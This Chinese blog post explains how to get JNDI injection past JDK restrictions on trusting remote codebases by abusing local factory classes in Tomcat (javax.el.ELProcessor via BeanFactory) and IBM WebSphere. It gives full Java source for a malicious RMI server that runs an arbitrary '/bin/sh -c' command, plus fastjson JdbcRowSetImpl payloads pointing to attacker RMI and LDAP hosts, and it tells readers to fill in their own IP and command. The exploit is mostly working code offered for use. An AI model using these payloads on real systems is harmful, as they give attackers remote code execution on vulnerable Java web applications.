美文网首页
利用本地类突破JDK高版本限制进行JNDI注入

利用本地类突破JDK高版本限制进行JNDI注入

作者: 清水川崎 | 来源:发表于2019-08-28 11:23 被阅读0次

    前言

    一般情况下,我们在进行JNDI注入时会参考JDK的版本限制,具体的修复可以参考下图

    JDK对于JNDI注入的修复

    但如果JDK大于图中版本时,就不能进行JNDI注入了吗?答案不是的

    触发情况

    • 1.JDK >上图版本
    • 2.Web Application use Tomcat || IBM WebSphere && can use LDAP | RMI

    Payload

    1.恶意RMI服务器

    使用如下代码搭建恶意的RMI服务器

    import java.rmi.registry.*;
    import com.sun.jndi.rmi.registry.*;
    import javax.naming.*;
    import org.apache.naming.ResourceRef;
    
    public class EvilRMIServerNew {
        public static void main(String[] args) throws Exception {
            String vpsip = "your vpsip" ;
            System.out.println("Creating evil RMI registry on port 1097");
            System.setProperty("java.rmi.server.hostname",vpsip);
            Registry registry = LocateRegistry.createRegistry(1097);
    
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
            ref.add(new StringRefAddr("forceString", "x=eval"));
            ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','command']).start()\")"));
    
            ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
            registry.bind("ExportObject", referenceWrapper);
        }
    }
    

    你只需要修改vpsip为你的ip,且修改command为你要执行的命令即可

    随后在webapp调用rmi服务即可,例如fastjson(利用tomcat的本地类)

    {
        "name":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
        },
        "x":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://vpsip:1097/ExportObject",
            "autoCommit":true
        }
    
    }
    
    Exploit示例 执行firefox举例

    2.恶意LDAP服务器

    本来准备自己写一个的,在逛github时偶然发现了一个轮子

    Rogue JNDI

    使用它可以搭建基于LDAP恶意服务器合集

    LDAP恶意服务器合集

    我们还是以fastjson为攻击目标举例,这回我们把JDK换成JDK8U211

    tomcat

    我们构造好payload进行攻击(利用tomcat的本地类)

    {
        "name":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
        },
        "x":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"ldap://vpsip:1389/o=tomcat",
            "autoCommit":true
        }
    
    }
    

    可见已经弹出Firefox,攻击成功

    弹出Firefox 攻击成功

    关于tomcat

    由于tomcat7并不含有javax.el.E​​LProcessor类,而tomcat8含有

    javax.el.E​​LProcessor

    由此得知tomcat7无法触发.

    已知可利用的本地类

    Tomcat ----> javax.el.ELProcessor
    IBM WebSphere ----> com.ibm.ws.webservices.engine.client.ServiceFactory || com.ibm.ws.client.applicationclient.ClientJ2CCFFactory

    利用上面的已知类你可以自定义想要的RMI恶意服务器

    Reference

    Exploiting JNDI Injections in Java:
    https://www.veracode.com/blog/research/exploiting-jndi-injections-java
    rogue-jndi:
    https://github.com/veracode-research/rogue-jndi

    相关文章

      网友评论

          本文标题:利用本地类突破JDK高版本限制进行JNDI注入

          本文链接:https://www.haomeiwen.com/subject/lglpectx.html